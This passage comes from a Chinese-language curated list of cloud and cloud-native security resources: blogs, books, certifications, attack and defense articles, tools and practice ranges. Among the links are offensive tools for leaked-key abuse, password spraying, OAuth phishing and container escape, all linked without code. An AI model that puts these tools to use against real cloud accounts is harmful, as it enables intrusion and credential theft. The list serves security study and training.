博客（英文）[地址](https://mystic0x1.github.io/) * Nick Frichette 的个人博客（英文）[地址](https://frichetten.com/) * Orca 博客（英文）[地址](https://orca.security/resources/blog/) * PeoplActive 博客（英文）[地址](https://peoplactive.com/blog/) * Praetorian 博客（英文）[地址](https://www.praetorian.com/blog) * Rhino Security Labs 博客（英文）[地址](https://rhinosecuritylabs.com/blog/?category=cloud-security) * Sysdig 云安全报告资讯（英文）[地址](https://sysdig.com/resources/reports/) * Sysdig 博客（英文）[地址](https://sysdig.com/blog/) * TeamsSix 的个人博客 [地址](https://teamssix.com/) * Trend Micro 博客（英文）[地址](https://www.trendmicro.com/en_us/devops.html) * WIZ 博客（英文）[地址](https://www.wiz.io/blog/) * 安全大道资讯（英文）[地址](https://securityboulevard.com/cloud-security/) * 福布斯 Cloud 100（英文）[地址](https://forbes.com/lists/cloud100/) * 火线安全每日云安全资讯 [地址](https://cloudsec.huoxian.cn/docs/information) * 绿盟技术博客 [地址](http://blog.nsfocus.net/tag/%e4%ba%91%e5%ae%89%e5%85%a8/) * 容器杂志资讯（英文）[地址](https://containerjournal.com/) * 腾讯云鼎每日云安全资讯 [地址](https://cloudsec.tencent.com/info/list.html) * 云安全资讯（每周更新一次）（英文）[地址](https://cloudseclist.com/past-issues) * 云计算市场资讯（英文）[地址](https://interconnected.blog/tag/cloud-industry) * 云原生实验室博客 [地址](https://icloudnative.io) `由「DVKunion」师傅补充，感谢支持` ### 3 公众号 * TeamsSix * 火线 Zone * 云鼎实验室 * 绿盟科技研究通讯 * 默安逐日实验室 * Linux 云计算网络 `由「zxynull」师傅补充，感谢支持` * 云原生技术社区 `由「zxynull」师傅补充，感谢支持` * 进击云原生 `由「zxynull」师傅补充，感谢支持` * CNCF * 容器魔方 * 云计算D1net * 云原生社区动态 * 大可不加冰 * 小佑科技 `由「宅独青年」师傅补充，感谢支持` ### 4 推特 * 0xd4y [](https://twitter.com/0xd4y) * Andy Robbins [](https://twitter.com/_wald0) * Beau Bullock [](https://twitter.com/dafthack) * Chris Farris [](https://twitter.com/jcfarris) * Christophe Tafani-Dereeper [](https://twitter.com/christophetd) * Dirk-jan [](https://twitter.com/_dirkjan) * Dr. Nestori Syynimaa [](https://twitter.com/DrAzureAD) * Emilien Socchi [](https://twitter.com/emiliensocchi) * Fabian Bader [](https://twitter.com/fabian_bader) * Fawaz [](https://twitter.com/0xFawaz) * gafnit [](https://twitter.com/gafnitav) * inversecosᵘʷᵘ [](https://twitter.com/inversecos) * Jason Ostrom [](https://twitter.com/securitypuck) * Joosua Santasalo [](https://twitter.com/SantasaloJoosua) * Karl [](https://twitter.com/kfosaaen) * Kfzz1 [](https://twitter.com/Kfzz12) * Liv Matan [](https://twitter.com/terminatorLM) * Marco Lancini [](https://twitter.com/lancinimarco) * Melvin langvik [](https://twitter.com/Flangvik) * Merill [](https://twitter.com/merill) * mx7krshell [](https://twitter.com/mx7krshell) * Nathan McNulty [](https://twitter.com/NathanMcNulty) * Nick Frichette [](https://twitter.com/Frichette_n) * Nikhil Mittal [](https://twitter.com/nikhil_mitt) * Nir Ohfeld [](https://twitter.com/nirohfeld) * Raunak Parmar [](https://twitter.com/trouble1_raunak) * Rhino Security Labs [](https://twitter.com/RhinoSecurity) * Roberto Rodriguez [](https://twitter.com/Cyb3rWard0g) * rootsecdev [](https://twitter.com/rootsecdev) * rvrsh3ll [](https://twitter.com/424f424f) * Ryan Hausknecht [](https://twitter.com/Haus3c) * Sami Lamppu [](https://twitter.com/samilamppu) * Sean Metcalf [](https://twitter.com/PyroTek3) * Seth Art [](https://twitter.com/sethsec) * Shir Tamari [](https://twitter.com/shirtamari) * Simon Décosse [](https://twitter.com/simondotsh) * Skyworship [](https://twitter.com/Skyworship2) * Thomas Naunheim [](https://twitter.com/Thomas_Live) ### 5 书籍 * 《云原生安全-攻防实践与体系构建》 * 《Hacking Kubernetes》 * 《Hands-On AWS Penetration Testing with Kali Linux》 ### 6 视频 * 0xd4y 频道（英文）[地址](https://www.youtube.com/@0xd4y) * CNCF 频道（英文）[地址](https://youtube.com/@cncf) * WIZ 频道（英文）[地址](https://www.youtube.com/@wizsecurity) * 火线云安全沙龙视频 [地址](https://space.bilibili.com/503330419) ### 7 证书 * AWS 安全认证-专业 AWS Certified Security - Specialty [地址](https://aws.amazon.com/certification/certified-security-specialty/) * AWS 认证解决方案架构师-助理 AWS Certified Solutions Architect – Associate [地址](https://aws.amazon.com/cn/certification/certified-solutions-architect-associate/) * Azure 基础知识认证 Azure Fundamentals [地址](https://learn.microsoft.com/certifications/azure-fundamentals/) * Azure 安全工程师助理 Azure Security Engineer Associate [地址](https://learn.microsoft.com/certifications/azure-security-engineer/) * CompTIA Cloud+ [地址](https://www.comptia.org/certifications/cloud) * GCP 专业云安全工程师 GCP Professional Cloud Security Engineer [地址](https://cloud.google.com/learn/certification/cloud-security-engineer) * GCP 云工程师助理 Associate Cloud Engineer [地址](https://cloud.google.com/learn/certification/cloud-engineer) * Kubernetes 认证安全专家 Certified Kubernetes Security Specialist (CKS) [地址](https://training.linuxfoundation.org/certification/certified-kubernetes-security-specialist/) * 认证云安全专家 Certified Cloud Security Professional (CCSP) [地址](https://www.isc2.org/Certifications/CCSP) * 阿里云专业工程师 Alibaba Cloud Certified Professional (ACP) [地址](https://edu.aliyun.com/certification) * 阿里云云计算架构师 Alibaba Cloud Certified Expert - Cloud Computing (ACE) [地址](https://edu.aliyun.com/certification/ace01) * 阿里云助理工程师 Alibaba Cloud Certified Associate (ACA) [地址](https://edu.aliyun.com/certification) ### 8 云服务文章 **综合** * 浅谈云上攻防——云服务器攻防矩阵 [地址](https://cloud.tencent.com/developer/article/1931560) * 浅谈云上攻防——对象存储服务访问策略评估机制研究 [地址](https://mp.weixin.qq.com/s/ncWGrMsIAvh9HEK1QC5IGQ) * 红队视角下的公有云基础组件安全 [地址](https://mp.weixin.qq.com/s/r0DuASP6gH_48b5sJ1DCTw) * 红队视角下的公有云基础组件安全（二）[地址](https://mp.weixin.qq.com/s/lL32lywlrnuyhJkQk5NAEw) * 公有云 IP 重用的威胁和防御方法分析 Paper（英文）[地址](https://arxiv.org/pdf/2204.05122.pdf) * 企业迁移到公有云之前要问的5个问题 [地址](http://www.d1net.com/cloud/news/574569.html) * 云上攻防：RED TEAMING FOR CLOUD [地址](http://avfisher.win/archives/1175) * 云上攻防二三事（续）[地址](http://avfisher.win/archives/1331) * 云计算隔离问题：PostgreSQL 的漏洞影响到多个云计算供应商（英文）[地址](https://www.wiz.io/blog/the-cloud-has-an-isolation-problem-postgresql-vulnerabilities) * 常规云服务业务侧攻防视角研究 [地址](https://mp.weixin.qq.com/s/2yaQ_W5K7BfmycMO2UcXJg) * 云安全学习建议与方向（英文）[地址](https://www.nojones.net/posts/breaking-into-cloudsec) * 60 种云攻击的方法（英文）[地址](https://redteamrecipe.com/60-methods-for-cloud-attacksrtc0009) `由「程皮糖别皮」师傅补充，感谢支持` * 云服务安全漏洞汇总 [地址](https://github.com/hashishrajan/cloud-security-vulnerabilities)  * Lightspin 2022 年 7 大云攻击路径（英文） [地址](https://github.com/lightspin-tech/lightspin-2022-top-7-attack-paths)  **AWS** * AWS S3 对象存储攻防 [地址](https://zone.huoxian.cn/d/907-aws-s3) * AWS EC2 弹性计算服务攻防 [地址](https://zone.huoxian.cn/d/1022-aws-ec2) * 针对 AWS Lambda 的运行时攻击 [地址](https://mp.weixin.qq.com/s/duF1Z0EDC3n_G378Aq_XYA) * 利用 AWS RDS 读取实例凭证（英文）[地址](https://blog.lightspin.io/aws-rds-critical-security-vulnerability) * 利用 AWS RDS 读取实例凭证（中文翻译）[地址](https://zone.huoxian.cn/d/1141-aws-rdsaws) * 风险最高的 10 种 AWS 配置错误 [地址](https://mp.weixin.qq.com/s/quIpapbkFNay0JtUK4wODQ) * 在 AWS 下查看自己所拥有的权限 [地址](https://wiki.teamssix.com/CloudService/IAM/list-attached-user-policies.html) * AWS 枚举（第一部分）（英文）[地址](https://securitycafe.ro/2022/11/01/aws-enumeration-part-1/) * 当 0day 和访问密钥在云上被结合利用时：应对 SugarCRM 0day 漏洞 (英文) [地址](https://unit42.paloaltonetworks.com/sugarcrm-cloud-incident-black-hat/) * 利用 AWS 官方对 log4j 漏洞的热补丁实现容器逃逸（英文）[地址](https://unit42.paloaltonetworks.com/aws-log4shell-hot-patch-vulnerabilities/) * AWS 创建后门的几种方法（英文）[地址](https://mystic0x1.github.io/posts/methods-to-backdoor-an-aws-account) * AWS 权限提升（英文）[地址](https://github.com/RhinoSecurityLabs/AWS-IAM-Privilege-Escalation)  **Azure** * 微软云 对象存储攻防 [地址](https://zone.huoxian.cn/d/940) * 微软云 VM 攻防 [地址](https://zone.huoxian.cn/d/1083-vm) * Azure Cloud Shell 命令注入窃取用户的访问令牌（英文）[地址](https://blog.lightspin.io/azure-cloud-shell-command-injection-stealing-users-access-tokens) * Azure 资源收集项目 Awesome-Azure-Pentest [地址](https://github.com/Kyuu-Ji/Awesome-Azure-Pentest)  `由「橘子怪」师傅补充，感谢支持` **GCP** * 谷歌云 对象存储攻防 [地址](https://zone.huoxian.cn/d/931) * 谷歌云 Compute Engine 攻防 [地址](https://zone.huoxian.cn/d/1043-compute-engine) * Google Cloud Shell 命令注入（英文）[地址](https://bugra.ninja/posts/cloudshell-command-injection) * GCP 渗透测试笔记（英文）[地址](https://0xd4y.com/2022/10/01/GCP-Penetration-Testing-Notes/) **阿里云** * 阿里云 OSS 对象存储攻防 [地址](https://zone.huoxian.cn/d/918-oss) * 阿里云 ECS 攻防 [地址](https://zone.huoxian.cn/d/1064-ecs) * 从云服务器 SSRF 漏洞到接管你的阿里云控制台 [地址](https://wiki.teamssix.com/CloudService/EC2/aliyun-console-takeover.html) * 我用 CF 打穿了他的云上内网 [地址](https://zone.huoxian.cn/d/1341-cf) * 记录一次平平无奇的云上攻防过程 [地址](https://zone.huoxian.cn/d/2557) * 一次简单的"云"上野战记录 [地址](https://mp.weixin.qq.com/s/wi8CoNwdpfJa6eMP4t1PCQ) * 记一次打穿云上内网的攻防实战 [地址](https://zone.huoxian.cn/d/2766) **腾讯云** * 腾讯云 COS 对象存储攻防 [地址](https://zone.huoxian.cn/d/949-cos) * 腾讯云服务器攻防（CVM+轻量应用服务器）[地址](https://zone.huoxian.cn/d/1028-cvm) **华为云** * 华为云 OBS 对象存储攻防 [地址](https://zone.huoxian.cn/d/962-obs) * 华为云 ECS 弹性云服务器攻防 [地址](https://zone.huoxian.cn/d/1074-ecs) * 华为云 CTF cloud 非预期解之 k8s 渗透实战 [地址](https://annevi.cn/2020/12/21/%E5%8D%8E%E4%B8%BA%E4%BA%91ctf-cloud%E9%9D%9E%E9%A2%84%E6%9C%9F%E8%A7%A3%E4%B9%8Bk8s%E6%B8%97%E9%80%8F%E5%AE%9E%E6%88%98/) ### 9 云原生文章 **综合** * 红蓝对抗中的云原生漏洞挖掘及利用实录 [地址](https://security.tencent.com/index.php/blog/msg/183) * CIS 基准检测手册（英文） [地址](https://www.cisecurity.org/benchmark/kubernetes) `由「zhengjim」师傅补充，感谢支持` * 浅谈 Linux Cgroup 机制 [地址](https://zhuanlan.zhihu.com/p/81668069) `由「zxynull」师傅补充，感谢支持` * 保障云和容器安全的十个注意事项（英文）[地址](https://sysdig.com/blog/considerations-securing-cloud-containers/) * CNCF 云原生安全白皮书 v2 [地址](https://github.com/cncf/tag-security/tree/main/security-whitepaper/v2) * awesome-cloud-native-security from Metarget [地址](https://github.com/Metarget/awesome-cloud-native-security)  **Docker** * 特权模式下 Docker 逃逸手法总结 [地址](https://zone.huoxian.cn/d/1071-docker) * 容器逃逸方法检测指北（附检测脚本）[地址](https://zone.huoxian.cn/d/990) * Docker 核心技术与实现原理 [地址](https://draveness.me/docker/) `由「zxynull」师傅补充，感谢支持` * 容器安全清单 container-security-checklist [地址](https://github.com/krol3/container-security-checklist)  `由「zxynull」师傅补充，感谢支持` **Kubernetes** * 利用 gateway-api，我支配了 kubernetes [地址](https://mp.weixin.qq.com/s/Y4F72s0JSyvjLBN3iNyUZg) * 浅析 k8s 各种未授权攻击方法 [地址](https://zone.huoxian.cn/d/1153-k8s) * 云原生之 Kubernetes 安全 [地址](https://forum.butian.net/share/1095) * RCE 进入内网接管 K8s 并逃逸进 xx 网 [地址](https://mp.weixin.qq.com/s/UvjKHaVzhluc22trF46uBA) * 从零开始的 Kubernetes 攻防 [地址](https://github.com/neargle/my-re0-k8s-security)  **eBPF** * 使用 eBPF 逃逸容器技术分析与实践 [地址 ](https://security.tencent.com/index.php/blog/msg/206) `由「zxynull」师傅补充，感谢支持` * 内核态 eBPF 程序实现容器逃逸与隐藏账号rootkit [地址 ](https://www.cnxct.com/container-escape-in-linux-kernel-space-by-ebpf/?f=wb&continueFlag=0ba98c50fdecece390192b7dd4adf11d) `由「zxynull」师傅补充，感谢支持` * 基于 eBPF 实现容器运行时安全 [地址](https://www.ebpf.top/post/ebpf_container_security/) `由「zxynull」师傅补充，感谢支持` * 初探 eBPF [地址](https://mp.weixin.qq.com/s/GvWKY4M5YvorC4JF2ztUvQ) **Terraform** * Terraform 中文教程 [地址](https://lonegunmanb.github.io/introduction-terraform/) * Terraform 使用入门以及在云上攻防中的作用 [地址](https://wiki.teamssix.com/CloudNative/Terraform/terraform-introductory.html) **APISIX** * APISIX CVE-2022-29266 漏洞分析与复现 [地址](https://mp.weixin.qq.com/s/Un-9y_UhWDw9svHKb-JQVQ) **CI/CD** * CI/CD 攻击场景 - KCon 2023 议题 [地址](https://github.com/knownsec/KCon/blob/master/2023/CICD%E6%94%BB%E5%87%BB%E5%9C%BA%E6%99%AF.pdf) `由「宅独青年」师傅补充，感谢支持` ## 0x02 工具 :hammer_and_wrench: ### 1 云服务工具 #### 辅助工具 <br> **综合** * 在线搜索目标网站下的云资产 recon.cloud [地址](https://recon.cloud/) * 在线多云管理平台 行云管家 [地址](https://www.cloudbility.com/) `由「半人间丶」师傅补充，感谢支持` * AK 等敏感信息查找工具 trufflehog [地址](https://github.com/trufflesecurity/trufflehog)  * 多云基线扫描工具 ScoutSuite [地址](https://github.com/nccgroup/ScoutSuite)  * 云安全态势管理工具 CloudSploit [地址](https://github.com/aquasecurity/cloudsploit)  `由「da Vinci【达文西】」师傅补充，感谢支持` * 基础设施关系绘制工具 Cartography [地址](https://github.com/lyft/cartography)  * 多云对象存储管理工具 qiniuClient [地址](https://github.com/willnewii/qiniuClient)  `由「半人间丶」师傅补充，感谢支持` * 云渗透信息收集工具 cloudfox [地址](https://github.com/BishopFox/cloudfox)  * 云服务资源枚举工具 cloud_enum [地址](https://github.com/initstring/cloud_enum)  * 开源多云安全合规扫描平台 RiskScanner [地址](https://github.com/riskscanner/riskscanner)  `由「想走安全的小白」师傅补充，感谢支持` * 多云对象存储扫描工具 Cloud-Bucket-Leak-Detection-Tools [地址](https://github.com/UzJu/Cloud-Bucket-Leak-Detection-Tools)  * 适用于 AWS 和 Azure 的扫描工具 SkyArk [地址](https://github.com/cyberark/SkyArk)  * 云上公开资产枚举 CloudBrute [地址](https://github.com/0xsha/CloudBrute)  * 多云资产收集工具 cloudlist [地址](https://github.com/projectdiscovery/cloudlist)  `由「Kfzz1」师傅补充，感谢支持` * 权限升级路径分析工具 PurplePanda [地址](https://github.com/carlospolop/PurplePanda)  * 云上攻击模拟工具 Leonidas [地址](https://github.com/WithSecureLabs/leonidas)  * 开源的轻量级云管平台 CloudExplorer Lite [地址](https://github.com/CloudExplorer-Dev/CloudExplorer-Lite)  * 红队云操作系统 RedCloudOS [地址](https://github.com/RedTeamOperations/RedCloud-OS)  * 云资产管理工具 cloudTools [地址](https://github.com/dark-kingA/cloudTools)  `由「弱鸡」师傅补充，感谢支持` * 云服务枚举工具 cloud service enum [地址](https://github.com/NotSoSecure/cloud-service-enum)  **AWS** * 在线搜索公开的存储桶 buckets.grayhatwarfare.com [地址](https://buckets.grayhatwarfare.com/) * AWS 文档 GPT 工具 [地址](https://www.awsdocsgpt.com) * AWS S3 浏览器 S3 Browser [地址](https://s3browser.com) `由「Poker」师傅补充，感谢支持` * 本地 AWS 环境部署工具 LocalStack [地址](https://github.com/localstack/localstack)  `由「Esonhugh」师傅补充，感谢支持` * AWS 官方 CLI 工具 [地址](https://github.com/aws/aws-cli)  * AWS 环境分析工具 CloudMapper [地址](https://github.com/duo-labs/cloudmapper)  * S3 策略扫描工具 S3Scanner [地址](https://github.com/sa7mon/S3Scanner)  * AWS IAM 权限枚举工具 Principal Mapper [地址](https://github.com/nccgroup/PMapper)  * AWS IAM 权限枚举工具 enumerate-iam [地址](https://github.com/andresriancho/enumerate-iam)  * S3 公开存储桶密钥扫描工具 S3cret Scanner [地址](https://github.com/Eilonh/s3crets_scanner)  * AWS 常见配置错误审计工具 YATAS [地址](https://github.com/padok-team/yatas)  * 检测多云环境中存在 dangling DNS 记录的工具 findmytakeover [地址](https://github.com/anirudhbiyani/findmytakeover)  * Route53/CloudFront 漏洞评估工具 [地址](https://github.com/prevade/cloudjack)  * CloudTrail 日志分析 IAM 权限工具 Cloudtrail2IAM [地址](https://github.com/carlospolop/Cloudtrail2IAM)  **Azure** * Azure 官方 CLI 工具 [地址](https://github.com/Azure/azure-cli)  * Azure MFA 检测工具 [地址](https://github.com/dafthack/MFASweep)  * Azure AD 和 Office 365 的 PowerShell 管理模块 AADInternals [地址](https://github.com/Gerenios/AADInternals)  * BloodHound 收集 Azure 数据工具 AzureHound [地址](https://github.com/BloodHoundAD/AzureHound)  `由「Kfzz1」师傅补充，感谢支持` * Azure AD 信息收集工具 AzureGraph [地址](https://github.com/JoelGMSec/AzureGraph)  `由「Kfzz1」师傅补充，感谢支持` **GCP** * GCP 官方 CLI 工具 [地址](https://cloud.google.com/sdk/gcloud/) * GCP 资源枚举工具 [地址](https://gitlab.com/gitlab-com/gl-security/threatmanagement/redteam/redteam-public/gcp_enum) * GCP 攻击面资源枚举工具 [地址](https://gitlab.com/gitlab-com/gl-security/threatmanagement/redteam/redteam-public/gcp_firewall_enum) * GCP 资源分析工具 Hayat [地址](https://github.com/DenizParlak/hayat)  * GCP IAM 权限收集工具 gcp-iam-collector [地址](https://github.com/marcin-kolda/gcp-iam-collector)  * Google Workspace 目录转储工具 Google Workspace Directory Dump Tool [地址](https://github.com/RedTeamOperations/GoogleWorkspaceDirectoryDump)  **阿里云** * 阿里云官方 OSS 管理工具 [地址](https://github.com/aliyun/oss-browser)  `由「半人间丶」师傅补充，感谢支持` * 阿里云官方 CLI 工具 [地址](https://github.com/aliyun/aliyun-cli)  **腾讯云** * 腾讯云轻量服务器管理工具 [地址](https://www.qqvps.com/d/1011) `由「tanger」师傅补充，感谢支持` * 腾讯云官方 COS 辅助工具 [地址](https://cosbrowser.cloud.tencent.com/) `由「Esonhugh」师傅补充，感谢支持` * 腾讯云官方 CLI 工具 [地址](https://github.com/TencentCloud/tencentcloud-cli)  **华为云** * 华为云 OBS 官方管理工具 OBS Browser+ [地址](https://support.huaweicloud.com/browsertg-obs/obs_03_1003.html) **天翼云** * 天翼云对象存储连接工具 [地址](https://www.ctyun.cn/document/10000101/10006768) **青云** * 青云官方 CLI 工具 [地址](https://docsv4.qingcloud.com/user_guide/development_docs/cli/install/install) `由 「苏打养乐多」师傅补充，感谢支持` #### 利用工具 <br> **多云** * 阿里云/腾讯云 AK 资源管理工具 [地址](https://github.com/wyzxxz/aksk_tool)  `由「Esonhugh」师傅补充，感谢支持` * 支持 GUI 的 AWS、GCP 利用工具 Vajra [地址](https://github.com/TROUBLE-1/Vajra)  `由「Kfzz1」师傅补充，感谢支持` **AWS** * AWS 综合利用工具 pacu [地址](https://github.com/RhinoSecurityLabs/pacu)  * AWS 渗透工具集 aws-pentest-tools [地址](https://github.com/RhinoSecurityLabs/Security-Research/tree/master/tools/aws-pentest-tools)  * AWS Lambda 密码喷洒工具 CredKing [地址](https://github.com/ustayready/CredKing)  * AWS AccessKey 泄漏利用工具 awsKeyTools [地址](https://github.com/Aabyss-Team/awsKeyTools)  `由「1derian」和「ShangRui-hash」师傅联合补充，感谢支持` * AWS 渗透测试工具 Endgame [地址](https://github.com/DavidDikker/endgame)  * AWS 控制台接管利用工具 aws_consoler [地址](https://github.com/NetSPI/aws_consoler)  * AWS 红队利用脚本 Redboto [地址](https://github.com/ihamburglar/Redboto)  * AWS 域控卷影拷贝工具 CloudCopy [地址](https://github.com/Static-Flow/CloudCopy)  **Azure** * Azure 安全评估 PowerShell 工具包 MicroBurst [地址](https://github.com/NetSPI/MicroBurst)  * Azure 红队利用工具 Stormspotter [地址](https://github.com/Azure/Stormspotter)  `由「da Vinci【达文西】」师傅补充，感谢支持` * Azure AD 利用工具集 ROADtools [地址](https://github.com/dirkjanm/ROADtools)  * 枚举、喷洒、渗透 O365 AAD 帐户工具 TeamFiltration [地址](https://github.com/Flangvik/TeamFiltration)  * Azure JWT 令牌操作工具集 TokenTactics [地址](https://github.com/rvrsh3ll/TokenTactics)  * Microsoft 365 安全工具箱 DCToolbox [地址](https://github.com/DanielChronlund/DCToolbox)  * 滥用 Microsoft 365 OAuth 授权流程进行网络钓鱼攻击的概念验证脚本 Microsoft365_devicePhish [地址](https://github.com/optiv/Microsoft365_devicePhish)  * Azure AD 身份保护 Cookie 重放测试工具 [地址](https://github.com/jsa2/aadcookiespoof)  * 用于攻击 Azure Function 应用程序的 PowerShell 工具 FuncoPop [地址](https://github.com/NetSPI/FuncoPop)  **GCP** * GCP 利用工具集 [地址](https://gitlab.com/gitlab-com/gl-security/threatmanagement/redteam/redteam-public/gcp_misc) * GCP Bucket 枚举工具 GCPBucketBrute [地址](https://github.com/RhinoSecurityLabs/GCPBucketBrute)  * GCP IAM 权限提升方法 GCP-IAM-Privilege-Escalation [地址](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation)  `由「da Vinci【达文西】」师傅补充，感谢支持` * GCP Token 复用工具 [地址](https://github.com/RedTeamOperations/GCPTokenReuse)  **Google Workspace** * Simple Workspace ATT&CK Tool - SWAT [地址](https://github.com/elastic/SWAT)  **阿里云** * 阿里云 AccessKey 利用工具 aliyun-accesskey-Tools [地址](https://github.com/mrknow001/aliyun-accesskey-Tools)  `由「半人间丶」师傅补充，感谢支持` * 阿里云 ECS、策略组辅助小工具 alicloud-tools [地址](https://github.com/iiiusky/alicloud-tools)  `由「半人间丶」师傅补充，感谢支持` * 阿里云 AccessKey 泄漏利用工具 AliyunAccessKeyTools [地址](https://github.com/NS-Sp4ce/AliyunAccessKeyTools)  `由「半人间丶」师傅补充，感谢支持` **腾讯云** * 腾讯云 AccessKey 利用工具 Tencent_Yun_tools [地址](https://github.com/freeFV/Tencent_Yun_tools)  ### 2 云原生工具 #### 辅助工具 <br> **综合** * 开源的云原生安全平台 HummerRisk [地址](https://github.com/HummerRisk/HummerRisk)  `由「Ma1tobiose」师傅补充，感谢支持` * 开源云原生安全防护平台 neuvector [地址](https://github.com/neuvector/neuvector)  `由「Idle Life」师傅补充，感谢支持` **Docker** * 一个支持在线分析容器镜像的网站 contains [地址](https://contains.dev/) `由「zxynull」师傅补充，感谢支持` * 容器镜像分析工具 DIVE [地址](https://github.com/wagoodman/dive)  `由「zxynull」师傅补充，感谢支持` * 镜像扫描工具 trivy [地址](https://github.com/aquasecurity/trivy)  `由「zxynull」师傅补充，感谢支持` * 容器镜像漏洞静态扫描工具 Clair [地址](https://github.com/quay/clair)  `由「zxynull」师傅补充，感谢支持` * 检查生产环境中部署容器的最佳实践 Docker_Bench_Security [地址](https://github.com/docker/docker-bench-security)  `由「zxynull」师傅补充，感谢支持` * 原生支持容器的系统可见性工具 sysdig [地址](https://github.com/draios/sysdig)  `由「zxynull」师傅补充，感谢支持` * Docker 镜像扫描工具 Anchore [地址](https://github.com/anchore/syft/)  `由「zxynull」师傅补充，感谢支持` * Docker 静态分析工具 Dagda [地址](https://github.com/eliasgranderubio/dagda/)  `由「zxynull」师傅补充，感谢支持` * 容器逃逸检测工具 container-escape-check [地址](https://github.com/teamssix/container-escape-check)  **Kubernetes** * 基于终端 UI 的 k8s 集群管理工具 k9s [地址](https://github.com/derailed/k9s)  * k8s 异常活动检测工具 Falco [地址](https://github.com/falcosecurity/falco)  `由「zxynull」师傅补充，感谢支持` * CIS 基准检测工具 kube bench [地址](https://github.com/aquasecurity/kube-bench)  `由「zhengjim」师傅补充，感谢支持` * k8s 集群安全漏洞发现工具 kube hunter [地址](https://github.com/aquasecurity/kube-hunter)  `由「zhengjim」师傅补充，感谢支持` * k8s 集群风险权限扫描工具 KubiScan [地址](https://github.com/cyberark/KubiScan)  `由「UzJu」师傅补充，感谢支持` * k8s 安全风险检测工具 StackRox [地址](https://github.com/stackrox/stackrox) [工具介绍](https://www.stackrox.io/blog/open-source-stackrox-is-now-available/)  `由「m4d3bug」师傅补充，感谢支持` * k8s 安全审计工具 kubestriker [地址](https://github.com/vchinnipilli/kubestriker)  `由「zhengjim」师傅补充，感谢支持` * 基于 kubectl 的红队 k8s 安全评估工具 red kube [地址](https://github.com/lightspin-tech/red-kube)  `由「zhengjim」师傅补充，感谢支持` * k8s 调试辅助工具 validkube [地址](https://github.com/komodorio/validkube)  **Terraform** * Terraform 可视化 [地址](https://github.com/hieven/terraform-visual)  #### 利用工具 * 容器渗透工具集 CDK [地址](https://github.com/cdk-team/CDK)  * 容器安全工具集 veinmind-tools [地址](https://github.com/chaitin/veinmind-tools)  * k8s 渗透测试工具 Peirates [地址](https://github.com/inguardians/peirates)  `由「Idle Life」师傅补充，感谢支持` * 容器渗透测试工具 BOtB [地址](https://github.com/brompwnie/botb)  `由「Idle Life」师傅补充，感谢支持` * 容器利用工具 CCAT [地址](https://github.com/RhinoSecurityLabs/ccat)  `由「zhengjim」师傅补充，感谢支持` ## 0x03 靶场 :dart: ### 云服务靶场 * 在线收费的包含云安全实验的靶场 Attack Defense [地址](https://attackdefense.pentesteracademy.com/listing?labtype=cloud-services&subtype=cloud-services-amazon-s3) * 在线免费的 AWS 渗透测试靶场 Free AWS Security Labs [地址](https://pentesting.cloud/) `由「cr」师傅补充，感谢支持` * 在线多云渗透靶场 pwnedlabs [地址](https://pwnedlabs.io) `由「RBPi」师傅补充，感谢支持` * AWS 靶场部署工具 cloudgoat [地址](https://github.com/RhinoSecurityLabs/cloudgoat)  * AWS 靶场 AWSGoat [地址](https://github.com/ine-labs/AWSGoat)  * Azure 靶场 AzureGoat [地址](https://github.com/ine-labs/AzureGoat)  `由「Kfzz1」师傅补充，感谢支持` * 多云靶场搭建工具 TerraformGoat [地址](https://github.com/HuoCorp/TerraformGoat)  * AWS IAM 靶场 IAM Vulnerable [地址](https://github.com/BishopFox/iam-vulnerable)  * GCP 靶场部署工具 GCPGoat [地址](https://github.com/ine-labs/GCPGoat)  `由「Kfzz1」师傅补充，感谢支持` ### 云原生靶场 * WIZ K8s 靶场 WIZ K8S LAN Party [地址](https://www.k8slanparty.com/) `由「feng」师傅补充，感谢支持` * k8s 靶场部署工具 Kubernetes Goat [地址](https://github.com/madhuakula/kubernetes-goat)  `由「UzJu」师傅补充，感谢支持` * CI/CD 靶场部署工具 [地址](https://github.com/cider-security-research/cicd-goat)  `由「Kfzz1」师傅补充，感谢支持` * 云原生靶场部署工具 metarget [地址](https://github.com/Metarget/metarget)  ## 贡献者 :confetti_ball: 感谢你们的支持 ~ <table> <tr> <td align="center"><img alt="TeamsSix" src="/img/1651741861.png" style="width: 100px;" /><br />TeamsSix</td> <td align="center"><img alt="1derian" src="/img/1650108029.png" style="width: 100px;" /><br />1derian</td> <td align="center"><img alt="ShangRui-hash" src="/img/1650108092.png" style="width: 100px;" /><br />ShangRui-hash</td> <td align="center"><img alt="半人间丶" src="/img/1650108207.png" style="width: 100px;" /><br />半人间丶</td> <td align="center"><img alt="UzJu" src="/img/1650253985.png" style="width: 100px;" /><br />UzJu</a> </td> <td align="center"><img alt="Idle Life" src="/img/1650865577.png" style="width: 100px;" /><br />Idle Life</td> </tr> <tr> <td align="center"><img alt="zhengjim" src="/img/1650942808.png" style="width: 100px;" /><br />zhengjim</a> </td> <td align="center"><img alt="zxynull" src="/img/1651146804.png" style="width: 100px;" /><br />zxynull</a> </td> <td align="center"><img alt="m4d3bug" src="/img/1651740464.png" style="width: 100px;" /><br />m4d3bug</a> </td> <td align="center"><img alt="da Vinci【达文西】" src="/img/1651917214.png" style="width: 100px;" /><br />da Vinci【达文西】</a> </td> <td align="center"><img alt="tanger" src="/img/1653815174.png" style="width: 100px;" /><br />tanger</a> </td> <td align="center"><img alt="想走安全的小白" src="/img/1654852861.png" style="width: 100px;" /><br />想走安全的小白</a> </td> </tr> <tr> <td align="center"><img alt="Esonhugh" src="/img/1654854214.png" style="width: 100px;" /><br />Esonhugh</a> </td> <td align="center"><img alt="Kfzz1" src="/img/1667370152.png" style="width: 100px;" /><br />Kfzz1</a> </td> <td align="center"><img alt="cr" src="/img/1684313513.png" style="width: 100px;" /><br />cr</a> </td> <td align="center"><img alt="Ma1tobiose" src="/img/1688880306.png" style="width: 100px;" /><br />Ma1tobiose</a> </td> <td align="center"><img alt="DVKunion" src="/img/1689259230.png" style="width: 100px;" /><br />DVKunion</a> </td> <td align="center"><img alt="苏打养乐多" src="/img/1692362083.png" style="width: 100px;" /><br />苏打养乐多</a> </td> </tr> <tr> <td align="center"><img alt="橘子怪" src="/img/1694685251.png" style="width: 100px;" /><br />橘子怪</a> </td> <td align="center"><img alt="宅独青年" src="/img/2000000016.png" style="width: 100px;" /><br />宅独青年</a> </td> <td align="center"><img alt="弱鸡" src="/img/2000000017.png" style="width: 100px;" /><br />弱鸡</a> </td> <td align="center"><img alt="RBPi" src="/img/2000000021.png" style="width: 100px;" /><br />RBPi</a> </td> <td align="center"><img 